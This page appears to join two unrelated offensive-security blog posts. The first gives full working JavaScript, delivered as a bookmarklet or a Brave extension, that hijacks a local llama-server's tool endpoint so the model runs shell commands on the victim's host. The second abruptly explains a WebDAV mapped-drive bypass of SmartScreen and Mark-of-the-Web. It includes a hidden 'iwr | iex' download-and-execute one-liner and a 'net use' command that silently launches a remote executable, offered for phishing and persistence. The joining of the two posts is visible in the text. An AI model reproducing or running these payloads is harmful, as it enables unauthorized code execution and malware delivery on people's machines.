Here’s the actual command I ran btw, which will likely get close to the expected tokens/sec I shared above if you own the same card:

sudo GGML_VK_VISIBLE_DEVICES=1 ./llama-server -m /home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf -ngl 99 -c 75000 -fa on -np 1 -ctk f16 -ctv f16 -b 4096 -ub 1024 --load-mode mmap --spec-type draft-mtp --spec-draft-n-max 4 --spec-draft-p-min 0.75 --spec-draft-type-k q4_0 --spec-draft-type-v q4_0 --prio 3 --seed -1 --chat-template-kwargs "{\"reasoning_effort\": \"low\"}" --temp 1.0 --top-p 0.95 --top-k 20 --min-p 0.0 --presence-penalty 0.0 --repeat-penalty 1.0 --alias Qwen3.8-27B --jinja --mmproj /home/g3tsyst3m/mmproj-F16.gguf

⚠️ Note on sudo: I use sudo here for GPU permissions in my setup. You should avoid running llama-server as root if possible. If the server can execute tools (see below), running it elevated is especially risky because tool execution inherits the server’s privileges.

That CORS: allow all origins line is exactly the kind of thing that should make you nervous. 🤔

Hijacking Llama.cpp 🦙 While It’s Still Just a Little Tipsy

Since the API exposed no obvious origin or authentication restrictions, I wondered whether a malicious page could simply talk to an already running local llama-server. The answer is a very resounding yes!

What CORS Actually Does Here

The browser allows this because the server’s CORS policy permits the page’s origin to read the response. CORS is not a network firewall; it is a browser-side response-reading policy. If the server responds with an allowed origin, the page can read the result.

A few important distinctions:

• CORS does not necessarily prevent the request from being sent. It mostly controls whether the page can read the response. Even when CORS blocks the page from reading the response, the request may still hit the server.
• In this case, because CORS is permissive (allow all origins), the page can read the model’s response too.

(Touch or click anywhere to close)

Here’s the code for our minimal HTML + JavaScript used in the example above. This targets the llama-server OpenAI-compatible endpoint:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Local AI Interface</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 700px;
            margin: 40px auto;
            padding: 0 20px;
            background-color: #f4f4f9;
        }
        h2 { color: #333; }
        textarea {
            width: 100%;
            height: 100px;
            padding: 10px;
            box-sizing: border-box;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 14px;
        }
        button {
            margin-top: 10px;
            padding: 10px 20px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
        }
        button:hover { background-color: #0056b3; }
        #response {
            margin-top: 20px;
            padding: 15px;
            background-color: #fff;
            border: 1px solid #ddd;
            border-radius: 4px;
            white-space: pre-wrap;
            min-height: 50px;
        }
    </style>
</head>
<body>

    <h2>Local AI Prompt Interface</h2>
    <textarea id="promptInput" placeholder="Enter your prompt here..."></textarea>
    <br>
    <button onclick="sendPrompt()">Send Prompt</button>

    <h3>Response:</h3>
    <div id="response">Your AI response will appear here...</div>

    <script>
        async function sendPrompt() {
            const prompt = document.getElementById('promptInput').value;
            const responseDiv = document.getElementById('response');

            if (!prompt.trim()) {
                responseDiv.innerText = "Please enter a prompt first.";
                return;
            }

            responseDiv.innerText = "Thinking...";

            try {
                // Targets the llama-server OpenAI-compatible endpoint.
                const res = await fetch('http://localhost:8080/v1/chat/completions', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        model: "local-model",
                        messages: [{ role: "user", content: prompt }]
                    })
                });

                if (!res.ok) {
                    throw new Error(`Server returned status: ${res.status}`);
                }

                const data = await res.json();
                responseDiv.innerText = data.choices?.[0]?.message?.content || JSON.stringify(data, null, 2);

            } catch (error) {
                responseDiv.innerText = `Error: ${error.message}\n\nNote: Ensure your local server is running on port 8080 and has CORS enabled.`;
            }
        }
    </script>

</body>
</html>

What This Means (And What It Doesn’t)

If you stumble upon a machine running llama-server with permissive CORS and no API key, a malicious page loaded in the victim’s browser could:

• Send arbitrary prompts to the local model
• Consume GPU/CPU resources (compute theft)
• Read model outputs
• Abuse a local convenience service

This is not shell execution. Without tool support enabled, the server will not execute local file or shell tools for you. That requires the --tools all flag. We will discuss more on that in the next section.

The Catch: Tools Change Everything

As discussed earlier, there is a catch: without tool support enabled, the server will not execute local file or shell tools for you. That requires the --tools all flag, and interestingly, enabling tools also changes the CORS behavior.

(Touch or click anywhere to close)

This is where it gets much worse from a vulnerability perspective: the server can now execute local tools. ⚠️

HOWEVER! We’re going to have to work for that access to execute tools. If I try running our minimal HTML + JavaScript code again (opened from a different origin, e.g., a file on disk), we are met with a DENY. Even llama-server detects it:

(Touch or click anywhere to close)

We get the same result if we manually configure a specific allowed origin, which is what I would recommend anyway:

(Touch or click anywhere to close)

I added this flag to llama-server: --cors-origins "http://localhost:8080"

Note: localhost and 127.0.0.1 are treated as different origins by the browser. Make sure the URL you browse to matches the origin you allow in --cors-origins. If you allow http://localhost:8080, a page at http://127.0.0.1:8080 has a different origin and will be blocked.

So, to summarize the escalation:

Defensive Notes 🛡️

This is no bueno and I highly encourage folks to ensure you have your setup locked down tight and only allow trusted connections. In my case, I manually set CORS origins to localhost:8080, keep the server bound to loopback, and I also keep an API key enabled.

Key mitigations:

1. Bind tightly. Keep the server on 127.0.0.1 or localhost. Do not expose it to 0.0.0.0.
2. Restrict CORS origins. Use --cors-origins "http://localhost:8080" (or your specific origin) rather than allowing all origins.
3. Enable an API key. Require authentication before any API access.
4. Disable tools unless needed. --tools all is a powerful feature with a powerful blast radius.
5. Don’t run as root. If the server can execute tools, running it elevated means tool execution inherits root privileges. Use a dedicated user or GPU group instead.

To require authentication via the API key, start your llama-server from the command line using the --api-key or --api-key-file flags:

Pass the API key directly in the command

./llama-server -m models/your-model.gguf --api-key "your_secret_token_here"

Alternatively, pass a file containing the API key

./llama-server -m models/your-model.gguf --api-key-file /path/to/keyfile.txt

How Clients Connect - Example

Once enabled, any client trying to access the server’s endpoints must provide the key. If the key is missing or incorrect, the server will return a 401 Unauthorized error.

• HTTP Header: Clients must pass the key as a Bearer token in the standard HTTP Authorization header
  • Authorization: Bearer your_secret_token_here

cURL Example usage:

curl http://localhost:8080/v1/chat/completions \
  -H "Authorization: Bearer your_secret_token_here" \
  -H "Content-Type: application/json" \
  -d '{ "messages": [{"role": "user", "content": "Hello!"}] }'

The Good News: Popular external platforms like Unsloth, LM Studio, and many other custom Web UIs provide explicit fields to input this API key during setup to ensure an authorized connection.

Back to Abusing CORS and Getting Llama.cpp 🦙 LIT 🍺😹🍻

But I’m not done. I love helping foster a good blue team defense posture, but there’s still one more trick left we need to pull out from our offensive security arsenal.

As I was researching CORS bypass techniques with my buddy Qwen 3.8, we stumbled upon greatness. I kept going back and forth with Qwen, and Qwen kept getting lost in a terrible reasoning loop. The back and forth was regarding sending a payload to a user in a red team engagement, and the payload could NOT depend on a proxy server or some other backend server to execute our code (python server, powershell, etc). The payload had to be self-contained within an HTML file only.

We continued to go back and forth until… a Eureka moment! Then Qwen dropped the one idea I had not thought of in years: bookmarklets.

Why a Malicious Page Is Not Enough (And Why a Bookmarklet Is)

Here’s the key insight: this is not a CORS bypass in the traditional sense. The bookmarklet simply executes malicious JavaScript from within the origin that llama-server already trusts. Because the browser treats that script as same-origin, the server’s origin-based trust applies to it.

Previously, I would either double-click the HTML file, which is basically considered a NULL origin, or open it from file://. Neither of those matches the http://localhost:8080 origin that llama-server trusts when --tools all is enabled.

A bookmarklet, however, runs inside the target tab. If the victim already has http://localhost:8080 loaded in their browser (which they do, since that’s the llama Web UI), and they click the bookmark, the JavaScript executes with the origin http://localhost:8080. The server sees a same-origin request and lets it through.

In theory, this would satisfy our CORS origin set to http://localhost:8080 by llama-server. But I needed to test it to see for myself. Also, this is without setting an API key. So bear that in mind.

Giving Llama.cpp 🦙 the Really Hard Stuff to Drink Now

⚠️ Authorization reminder: The following payload is demonstrated in my own lab environment against my own machine. In a red team engagement, you would need proper authorization and scope before testing any of this against a target system.

Here’s what Qwen and I came up with. It does get better, but I realize this is a pain to social engineer someone into doing 😹

(Touch or click anywhere to close)

Here’s the JavaScript code, URL decoded, that went into the bookmarklet. I URL encode it before placing into the bookmarklet by the way:

Code notes:

• The MODEL variable is hardcoded to "Qwen3.8-27B". If your model alias is different, change MODEL to match the --alias value you passed to llama-server.
• The URLs (/v1/chat/completions, /tools) are relative, so the script always talks to whatever origin it is currently running on.
• This example assumes no API key is configured. If you enable --api-key, your client must also send the Authorization: Bearer ... header.

javascript:
const MODEL = "Qwen3.8-27B";
const LLM_URL = "/v1/chat/completions";
const TOOLS_URL = "/tools";
document.documentElement.innerHTML = `<head><meta charset="UTF-8"><title>Agent</title>
<style>
body{font-family:sans-serif;max-width:860px;margin:20px auto;background:#1e1e1e;color:#f4f4f4;padding:0 10px}
pre{background:#2d2d2d;padding:10px;border-radius:5px;white-space:pre-wrap;border:1px solid #444}
textarea{width:100%;height:100px;background:#2d2d2d;color:#fff;border:1px solid #444;border-radius:5px;padding:10px;box-sizing:border-box}
button{background:#007acc;color:#fff;border:none;padding:10px 20px;border-radius:5px;font-weight:700;margin:10px 8px 0 0;cursor:pointer}
.status{color:#aaa;font-style:italic;margin-top:5px}
.dot{display:inline-block;width:8px;height:8px;border-radius:50%;margin-right:6px}
.ok{background:#3dd68c}.bad{background:#e05a5a}
#health,#toolList{margin:8px 0;font-size:13px;color:#bbb}
</style></head><body>
<h2>llama-server /tools agent</h2>
<div id="health">checking...</div>
<div id="toolList"></div>
<textarea id="promptInput" placeholder="whoami, list /home, read a file..."></textarea>
<button id="sendBtn">Send Prompt</button>
<button id="clrBtn">Clear History</button>
<div id="statusOutput" class="status">Ready</div>
<h3>Response</h3>
<pre id="responseOutput">...</pre>
</body>`;

let conversationHistory = [];
let oaiTools = [];
function status(t){ document.getElementById("statusOutput").textContent = t; }
function newId(){ return "call_" + Math.random().toString(36).slice(2,12); }
function parseArgs(raw){
  if (raw == null) return {};
  if (typeof raw === "object") return raw;
  try { return JSON.parse(String(raw)); } catch(_) { return { command: String(raw) }; }
}
function toolName(e){
  return e.tool || (e.function && e.function.name) || (e.definition && e.definition.function && e.definition.function.name) || e.name || "";
}
function toOai(e){
  if (e && e.type === "function" && e.function) return e;
  if (e && e.definition && e.definition.function) return e.definition;
  if (e && e.function && e.function.name) return { type:"function", function:e.function };
  const n = toolName(e);
  if (!n) return null;
  return { type:"function", function:{ name:n, description:e.display_name||n, parameters:{ type:"object", additionalProperties:true } } };
}
function parseXml(text){
  if (!text || !text.includes("<tool_call")) return [];
  const calls = [];
  const blockRe = /<tool_call>([\s\S]*?)<\/tool_call>/gi;
  let b;
  while ((b = blockRe.exec(text))) {
    const fnRe = /<function=([^>\s]+)>([\s\S]*?)<\/function>/gi;
    let fn, found=false;
    while ((fn = fnRe.exec(b[1]))) {
      found = true;
      const args = {};
      const pRe = /<parameter=([^>\s]+)>([\s\S]*?)<\/parameter>/gi;
      let p; while ((p = pRe.exec(fn[2]))) args[p[1].trim()] = p[2].trim();
      calls.push({ id:newId(), type:"function", function:{ name:fn[1].trim(), arguments:JSON.stringify(args) } });
    }
    if (!found) {
      const t = b[1].trim();
      if (t.startsWith("{")) {
        try {
          const o = JSON.parse(t);
          if (o.name) calls.push({ id:newId(), type:"function", function:{ name:o.name, arguments: typeof o.arguments==="string"?o.arguments:JSON.stringify(o.arguments||{}) } });
        } catch(_){}
      }
    }
  }
  return calls;
}
function extract(msg){
  if (msg.tool_calls && msg.tool_calls.length) {
    return msg.tool_calls.map(tc => ({
      id: tc.id || newId(),
      type: "function",
      function: { name: (tc.function && tc.function.name) || tc.name, arguments: (tc.function && tc.function.arguments) != null ? tc.function.arguments : tc.arguments }
    }));
  }
  return parseXml(msg.content || "");
}
function fmt(data){
  if (data == null) return "(empty)";
  if (typeof data === "string") return data;
  if (data.plain_text_response != null) return String(data.plain_text_response);
  if (data.output != null) return String(data.output);
  if (data.error) return "Error: " + data.error;
  return JSON.stringify(data, null, 2);
}
async function loadTools(){
  const r = await fetch(TOOLS_URL, { cache:"no-store" });
  if (!r.ok) throw new Error("GET /tools " + r.status);
  const data = await r.json();
  const list = Array.isArray(data) ? data : (data.tools || []);
  oaiTools = [];
  const names = [];
  for (const e of list) {
    const n = toolName(e);
    if (n) names.push(n);
    const o = toOai(e);
    if (o) oaiTools.push(o);
  }
  document.getElementById("toolList").innerHTML = names.map(n => "<code>"+n+"</code>").join(" ");
  document.getElementById("health").innerHTML = '<span class="dot '+(names.length?"ok":"bad")+'"></span>/tools ' + (names.length?"up":"empty");
}
async function chat(messages){
  const body = { model: MODEL, messages, stream:false, chat_template_kwargs:{ enable_thinking:false, reasoning_effort:"low" } };
  if (oaiTools.length) { body.tools = oaiTools; body.tool_choice = "auto"; }
  const r = await fetch(LLM_URL, { method:"POST", headers:{ "Content-Type":"application/json" }, body: JSON.stringify(body) });
  if (!r.ok) throw new Error("chat " + r.status + " " + (await r.text()).slice(0,300));
  return r.json();
}
async function invoke(name, args){
  status("POST /tools " + name);
  const r = await fetch(TOOLS_URL, { method:"POST", headers:{ "Content-Type":"application/json" }, body: JSON.stringify({ tool:name, params:args }) });
  const t = await r.text();
  let data; try { data = JSON.parse(t); } catch(_) { data = { error:t.slice(0,400) }; }
  return fmt(data);
}
async function run(){
  const prompt = document.getElementById("promptInput").value;
  if (!prompt) return;
  const out = document.getElementById("responseOutput");
  conversationHistory.push({ role:"user", content:prompt });
  out.textContent = "Thinking...";
  try {
    let data = await chat(conversationHistory);
    let msg = data.choices[0].message;
    let calls = extract(msg);
    let n = 0;
    while (calls.length && n < 8) {
      n++;
      const hist = { role:"assistant", content: msg.content || "", tool_calls: msg.tool_calls && msg.tool_calls.length ? msg.tool_calls : calls };
      conversationHistory.push(hist);
      for (const tc of calls) {
        const args = parseArgs(tc.function.arguments);
        out.textContent = "[/tools] " + tc.function.name + "(" + JSON.stringify(args) + ")";
        const result = await invoke(tc.function.name, args);
        conversationHistory.push({ role:"tool", tool_call_id: tc.id, name: tc.function.name, content: result });
      }
      data = await chat(conversationHistory);
      msg = data.choices[0].message;
      calls = extract(msg);
    }
    const final = (msg && msg.content) || "(empty)";
    out.textContent = final;
    conversationHistory.push({ role:"assistant", content: final });
    status("Finished.");
  } catch (e) {
    out.textContent = String(e.message || e);
    status("Error");
  }
}
document.getElementById("sendBtn").onclick = run;
document.getElementById("clrBtn").onclick = () => { conversationHistory = []; document.getElementById("responseOutput").textContent = "cleared"; };
loadTools().catch(e => { document.getElementById("health").textContent = String(e); });

So, I’m assuming you created the bookmarklet and dragged it into the bookmarks bar in your browser. Next, browse to http://localhost:8080. It’s just the familiar llama Web UI:

(Touch or click anywhere to close)

Now, click your bookmark while in this specific browser tab that has localhost:8080 loaded with the llama-server + Qwen3.8-27B model:

(Touch or click anywhere to close)

Here are my llama-server params and output:

sudo GGML_VK_VISIBLE_DEVICES=1 ./llama-server -m /home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf -ngl 99 -c 75000 -fa on -np 1 -ctk f16 -ctv f16 -b 4096 -ub 1024 --load-mode mmap --spec-type draft-mtp --spec-draft-n-max 4 --spec-draft-p-min 0.75 --spec-draft-type-k q4_0 --spec-draft-type-v q4_0 --prio 3 --seed -1 --chat-template-kwargs "{\"reasoning_effort\": \"low\"}" --temp 1.0 --top-p 0.95 --top-k 20 --min-p 0.0 --presence-penalty 0.0 --repeat-penalty 1.0 --alias Qwen3.8-27B --jinja --mmproj /home/g3tsyst3m/mmproj-F16.gguf --tools all --cors-origins "http://localhost:8080"
[sudo] password for g3tsyst3m: 
0.00.042.952 I cmn  common_param: common_params_print_info: verbosity = 3 (adjust with the `-lv N` CLI arg)
0.00.044.119 W srv  llama_server: -----------------
0.00.044.125 W srv  llama_server: the following feature(s) are enabled:
0.00.044.126 W srv  llama_server:     server tools (experimental)
0.00.044.127 W srv  llama_server: do not expose the server to untrusted environments
0.00.044.127 W srv  llama_server: -----------------
0.00.045.576 I srv    load_model: loading model '/home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf'
0.05.212.740 I cmn          init: llama threadpool init, n_threads = 2
0.05.269.261 I common_speculative_init_result: creating MTP draft context against the target model '/home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf'
0.05.303.879 W load_hparams: Qwen-VL models require at minimum 1024 image tokens to function correctly on grounding tasks
0.05.303.884 W load_hparams: if you encounter problems with accuracy, try adding --image-min-tokens 1024
0.05.303.885 W load_hparams: more info: https://github.com/ggml-org/llama.cpp/issues/16842

0.05.706.782 I srv    load_model: loaded multimodal model, '/home/g3tsyst3m/mmproj-F16.gguf'
0.05.761.663 I srv    load_model: initializing, n_slots = 1, n_ctx_slot = 75008, kv_unified = 'false'
0.05.800.383 I srv          init: chat template supports preserving reasoning, consider enabling it via --reasoning-preserve
0.05.800.422 I srv  llama_server: model loaded
0.05.800.426 I srv  llama_server: listening on http://127.0.0.1:8080
0.05.800.427 W srv  llama_server: NOTICE: server default port will be changed to :9931 in a future release
0.05.800.427 W srv  llama_server:         ref: https://github.com/ggml-org/llama.cpp/pull/26508

(At the time of writing, my build still used port 8080. The server binds to 127.0.0.1 by default, but we browse to localhost:8080 which resolves to the same address. As noted earlier, the origin string matters for CORS matching.)

And the test!

(Touch or click anywhere to close)

(Touch or click anywhere to close)

It worked!!! Here’s the llama-server output. Also 94.76 t/s… crazy! Plus, it gladly accepted our prompt and executed our command against my host OS without question:

8.58.891.477 I slot print_timing: id  0 | task 227 | n_gen =    290, tg =  94.76 t/s, tg_3s =  95.08 t/s
9.01.774.380 I slot print_timing: id  0 | task 227 | prompt eval time =    1083.76 ms /   535 tokens (    2.03 ms per token,   493.65 tokens per second)
9.01.774.383 I slot print_timing: id  0 | task 227 |        eval time =    5932.74 ms /   549 tokens (   10.83 ms per token,    92.37 tokens per second)
9.01.774.384 I slot print_timing: id  0 | task 227 |       total time =    7016.50 ms /  1084 tokens
9.01.774.385 I slot print_timing: id  0 | task 227 |    graphs reused =        178
9.01.774.388 I slot print_timing: id  0 | task 227 | draft acceptance = 0.96205 (  431 accepted /   448 generated), mean len =  4.68
9.01.774.526 I slot      release: id  0 | task 227 | stop processing: n_tokens = 2741, truncated = 0

Once again, that’s without us setting a restrictive API key to prevent unauthorized connections. Still… I guarantee a LARGE number of folks testing out llama-server for the first time just go with the defaults and add in --tools all for the convenience of executing commands.

So what’s the point? Well, from a conceptual attacker capability standpoint: instead of giving the user a choice of what to enter, you could preemptively prepare a prompt of your choosing that auto-fires on page load and exfiltrates the results. But I need to help make for less social engineering with your payload first. That’s up next!

Time for Llama 🦙 to Sober Up But Not Until We Deliver the Final Payload!

Alright, I’ve been using Ubuntu for most of this blog write-up. Now, let’s change gears and hop on into Windows for the final payload delivery.

On some Chromium-based browsers, including certain builds of Brave, you can still launch the browser with an unpacked extension using --load-extension, provided the browser process is not already running and the build still supports that flag. This is not universal across all Chromium builds. It depends on the version, enterprise policies, and whether a browser instance is already active.

⚠️ Major limitation: The user must not have their Brave browser already running when they launch the shortcut. If any brave.exe process exists, the --load-extension flag is ignored and the extension will not load. Just so you know 😸

First, we need to create a Windows shortcut. Go ahead and create a shortcut with placeholder info in it. Then fill it out as follows, with the Target set to:

"C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe" --load-extension="%USERPROFILE%\Downloads\report\extension" http://localhost:8080

You can leave the Start in section blank.

Place your shortcut / .lnk file in the same folder that your extension is in. You’ll want to zip this and send it to the user for your payload and somehow get them to extract it and click it. The extraction path matters: the --load-extension path must resolve to the actual folder containing manifest.json and content.js.

(Touch or click anywhere to close)

The user will also have to not be using their Brave browser when they open it for the browser extension to load correctly. Yes, I realize there are still a few unnecessary social engineering steps involved, but should you succeed, the user would then load your extension which replaces their llama Web UI with your code and you could then execute commands against their machine using THEIR running local AI instance! As demonstrated earlier with the bookmarklet.

(Touch or click anywhere to close)

The code for the browser extension is exactly the same as the JavaScript code used for the bookmarklet. Create a folder called extension. Next, revisit the JavaScript code from earlier and simply remove the javascript: from the top of the code and save it as content.js.

Like so:

// javascript: <-- this line. Remove it. Keep everything else that comes after it. Save as content.js
const MODEL = "Qwen3.8-27B";
const LLM_URL = "/v1/chat/completions";
const TOOLS_URL = "/tools";

You’ll also need to create the manifest.json file and place it in the same directory as your content.js file:

{
  "manifest_version": 3,
  "name": "llama-server Agent UI",
  "version": "1.0",
  "description": "Injects agent UI into llama-server /tools on localhost:8080",
  "content_scripts": [
    {
      "matches": ["http://localhost:8080/*", "https://localhost:8080/*"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

Origin matching note: The matches field only covers localhost. If you browse to 127.0.0.1:8080 instead, add "http://127.0.0.1:8080/*" to the matches array. Remember: localhost and 127.0.0.1 are different origins to the browser.

What This Does NOT Mean

To keep this post honest:

• ❌ Any website on the internet can automatically SSH into your machine
• ❌ llama-server is remotely exploitable if bound only to localhost
• ❌ The LLM itself is “hacked” or the model is compromised
• ❌ This works if API keys and origin restrictions are properly enforced
• ❌ A malicious page on a different origin can execute tools when CORS is restricted to localhost

What it DOES mean:

Local convenience services can still be abused through browser origin trust, even if they are not exposed to the network. The attack surface moves from the network into the browser.

How to Detect This

If you’re a defender or just curious, here are some indicators:

• Server logs showing unexpected /v1/chat/completions traffic from unusual origins or at unusual times
• Unexpected /tools calls in the server log, especially tool invocations you did not initiate
• Model responses tied to tool calls you don’t recognize (e.g., whoami, file reads, shell commands)
• Browser console showing injected UI or unexpected DOM changes on the llama page
• Process monitoring for child processes spawned by llama-server that you didn’t trigger
• Unusual GPU usage when the user is idle or not actively using the model

Takeaways

1. Local does not mean secure. Loopback just means the attack surface moves from the network into the browser.
2. CORS is a response-reading policy, not a firewall. Don’t confuse “the browser blocks the page from reading the response” with “the request never reaches the server.”
3. --tools all changes the threat model entirely. What was a compute-theft risk becomes a command-execution risk.
4. Same-origin execution is the key concept. A bookmarklet or extension content script running on the trusted origin is not a “CORS bypass”—it’s simply operating within the trust boundary the server already accepts.
5. The fixes are simple and free: bind tightly, restrict origins, use API keys, disable tools unless needed, don’t run as root.

Local LLMs are great. Fast, private, and powerful. But trust boundaries matter, and the browser is now part of that boundary. Put it on your tab, but make sure it’s the right tab, the right origin, and the right key. 🦙

Bonus Content for Members! (All Membership Tiers)

📹 In-Depth Video/Audio Walkthrough for today’s blog post: Video

🗒️ Packaged .zip file containing an auto-execute Browser Extension that executes whoami against llama.cpp upon loading: Autoexecuting Browser Extension

And that’s a wrap folks! Thanks and see you on the next blog post!

~G3tSyst3m

Sponsored By:

All demos in this post were conducted in my own lab environment against my own hardware. No third-party systems were tested without explicit authorization.

Well, the magic here is the WebClient service itself. When Windows encounters a UNC path and the standard SMB attempt over 445 fails (or is disabled), the WebClient service quietly steps in and re-routes that same \server\share request over HTTP/HTTPS on port 80 or 443 using the WebDAV protocol. From the user’s perspective (and from the perspective of most tooling), it still looks and feels like an ordinary UNC path! Explorer renders it, cmd.exe can cd into it, and executables can be launched directly from it (We will get to more of that later in the post 😼). Under the hood though, it’s just HTTP traffic riding out on the same ports your browser uses every second of every day. No SMB, no port 445, no problem 😼 I’ll even show you later on how wireshark never provides statistics for TCP port 445. Only HTTP/HTTPS when we access our WebDav shared folder.

The Plot Thickens…

Now, this is where things get really interesting from a SmartScreen and MOTW bypass perspective. Because files executed directly from a WebDAV UNC path aren’t technically being “downloaded” through the browser or a mail client, the usual unrelenting MOTW “tattoo” will not get attached to our file(s)! It’s as if we’re just downloading from a trusted, neighboring device. So, let me show you how this all plays out in our favor 😸

But first! A small caveat…So here’s the thing. As with most of my research, I inevitably hit a roadblock somwhere in my initial testing. Oh, did I hit a massive roadblock. Even with this advantage I briefly covered above about using UNC paths to elude SmartScreen and MoTW, a direct UNC-based launch still triggers a warning. Not a “Hey you! You downloaded this from the Internet!” warning. No, more like this kind:

Why UNC Paths Still Prompt (Even With Signed Binaries)

When I tested launching even a signed Microsoft binary (ApplicationFrameHost.exe) directly from a WebDAV UNC path, I still got the “This file is in a location outside your local network” warning. This genuinely surprised me at first. The file is signed by Microsoft, after all. But the prompt wasn’t actually about the signature. It was about the location.

Here’s what’s happening under the hood:

Windows has multiple security gates that files must pass through when they execute. The first gate is the zone-based execution check. The shell’s Attachment Execution Service (AES) examines where a file is being launched from and asks “is this location inside or outside the local network?” If Windows determines the file is coming from a non-local location (indicated by the FQDN in the UNC path containing periods), it fires the generic “outside your local network” warning before it ever cares about signatures, reputation, or anything else.

Think of it this way: The prompt is asking “where did this file come from?”. It’s not asking “who made this file?” The signature validation happens at a later gate, downstream from this initial location check. So a signed binary, an unsigned binary, and Microsoft’s own binaries all hit the same zone-based warning when launched from a network location Windows classifies as untrusted. The actual security zone determination is quite simple: if the URL contains no period in the server name (like http://sharepoint/davshare), the server is assumed to be on a local intranet site, but if the URL contains periods, the server is assumed to be on the Internet. Since my WebDAV server is something.somethingelse.com, Windows relegated it to the Internet zone, and the security gates fired accordingly.

But wait, there’s more! More what you ask? Ways around this, of course! 😸 But first, let me show you some of the restrictive triggers I found. When we access a WebDav share via UNC, we can access it a number of ways.

The two ways that flag the This file is in a location outside your local network aka that “OTHER” alert, are as follows:

If I use the windows-> run command:

OR, If I use Windows Explorer:

Same thing…

HOWEVER!!! I had a breakthrough 🥷

The Complete Breakthrough: Mapped Drives and execution from within a Terminal Environment Bypasses Everything!

If we execute our WebDav share from within a Powershell or CMD terminal….EUREKA! No more ALERTS!!!!! See for yourself. Here’s me pointing to my webdav share within a Powershell terminal session:

The exe I’m executing from my WebDav share executes calc btw 😆

I feel I need to repeat this for anyone confused on the UNC paths I’m using. I know it looks like standard SMB/UNC, but with WebDav I assure you it’s over 80/443. In my case, I have a redirect from 80 to 443 and a signed cert using Cloudflare for my WebDav server on my VPS. Pretty cool right?! Just to prove it, check out some Wireshark screenshots I took to confirm only ports 80/443 were involved in our little experiment:

Now, 80 and 443 included:

You can see we’re crossing the wire via 80 and 443, confirmed!

Here’s a silly one liner that will open any executable within our WebDavShare to whet your appetite 😸

• First, create a PS1 file that contains the following:

\\YOURWEBDAV_SERVER\shared-files\yourexecutable.exe

Next, upload that somewhere and download and execute in memory using powershell:

powershell -w h -c "iwr 'https://some_server_you_own/webdav_runner.ps1' -UseBasicParsing | iex"

That will execute within the Powershell terminal environment and bypass SmartScreen, MOTW, and that “OTHER” alert! 😺

Discovery Part 2!

Here’s where I discovered the ultimate technique:

Instead of launching files directly from the UNC path, map the WebDAV share to a drive letter first, then launch from the mapped drive.

cmd.exe /c net use Z: https://some_server_you_own/shared-files /persistent:yes 2>nul && start “” “Z:\YOUR_EXECUTABLE.exe”

In my case, that would be:

cmd.exe /c net use Z: https://transf0rm.g3tsyst3m.online/shared-files /persistent:yes 2>nul && start “” “Z:\winexec_nonulls.exe”

(don’t worry, I delete my demo domains so I’m okay with you seeing them 😸)

When I tested this, the executable launched with zero prompts, zero warnings, zero MOTW tagging, zero SmartScreen reputation checks. Nothing. Silent execution. It was bliss.

The reason? When Windows evaluates file execution, it treats files accessed via a local drive letter fundamentally differently than files accessed via a UNC path. Even when that drive letter is actually a network mount backed by an attacker-controlled WebDAV server. Here’s the mental model: the shell’s attachment execution service has different code paths for these two scenarios:

• UNC path (\\server\share\file.exe) → Windows recognizes this as a network location → zone-based security gates fire
• Drive letter (Z:\file.exe) → Windows sees this as a local drive → security gates that apply to network locations simply don’t trigger

From the shell’s perspective, a file on Z: is just a file on the Z: drive. The fact that Z: is actually mounted over HTTPS to our attacker controlled WebDAV server is an abstraction detail that doesn’t bubble up to the execution security checks. The file appears to be local, so it gets treated as local.

This effectively bypasses the entire chain of Internet “tattooed” security gates:

• Zone-based MOTW attachment -> skipped, because the file appears “local”
• That “OTHER” Alert -> skipped, because mapped drive file execution doesn’t trigger the same checks
• SmartScreen reputation checking -> skipped, because the file isn’t flagged as coming from the internet
• Zone.Identifier ADS tagging -> never applied in the first place

Also for the record, there are no loopholes here! I don’t have any secret trusted Zone bypasses in place, I assure you. See for yourself 😸

Taking it even further, I can point my PE Loader to my WebDav share and download and execute the PE in memory pulling from the WebDav share!

Why This Changes Everything

This technique is genuinely different from the dotless-hostname or DNS-suffix tricks I was researching earlier. Those approaches require careful network manipulation or pre-existing foothold to change zone mappings. The mapped drive approach is simpler:

It works with any FQDN, requires only one command, and leverages a core Windows feature (the WebClient service and drive mapping) that exists on every modern Windows system.

It’s also immediately practical for external phishing or leveraging ClickFix/FileFix. A delivery payload can execute a single net use command. This can be completely silent, can run without admin privileges, and can persist across reboots with /persistent:yes. We can then launch the actual malicious executable from the now-mapped drive. The entire execution chain looks legitimate:

“copy this file to your machine, run this utility, and it mounts a network share from your trusted IT department, or whoever.” 😸

From an attacker’s perspective, this means:

• No signed certificate needed (though one doesn’t hurt for defense evasion)
• No special hostname tricks required
• Works with standard HTTPS WebDAV
• Executable launches with zero security prompts
• Suitable for initial access phishing, lateral movement, or persistence

From a defender’s perspective, this is precisely the kind of subtle technique that lives in the gap between legacy zone-based security (which assumes network files are inherently riskier) and modern app reputation systems (which can be bypassed if the file never gets tagged as “from the internet” in the first place).

How can we use this from a Tactical, Red Team Perspective?

Well, for starters you’ll certainly want to explore ClickFix and FileFix from a social engineering angle. I’d say that’s a given. Think about it: You just have to coerce the user to run one command and BAM! File execution complete! (as long as your executable doesn’t get caught by EDR. That’s on you and I’m not to blame! 😹)

You could also use this for persistence purposes or evasion. The ability to just flat out execute a script or executable across a network share without a security prompt is HUGE!

Also before I forget, you’ll likely want to access your WebDav share from a domain versus IP address to make it look more official. I used Cloudflare to setup my DNS entries:

🎁 Bonus Content for all Members! (Sapphire, Emerald, Diamond Tier) 🎁

Preview (demo):

📓Script for setting up WebDav using Caddy like I did on your server/VPS: Setup script for WebDav 📓

Video Preview Teaser (demo):

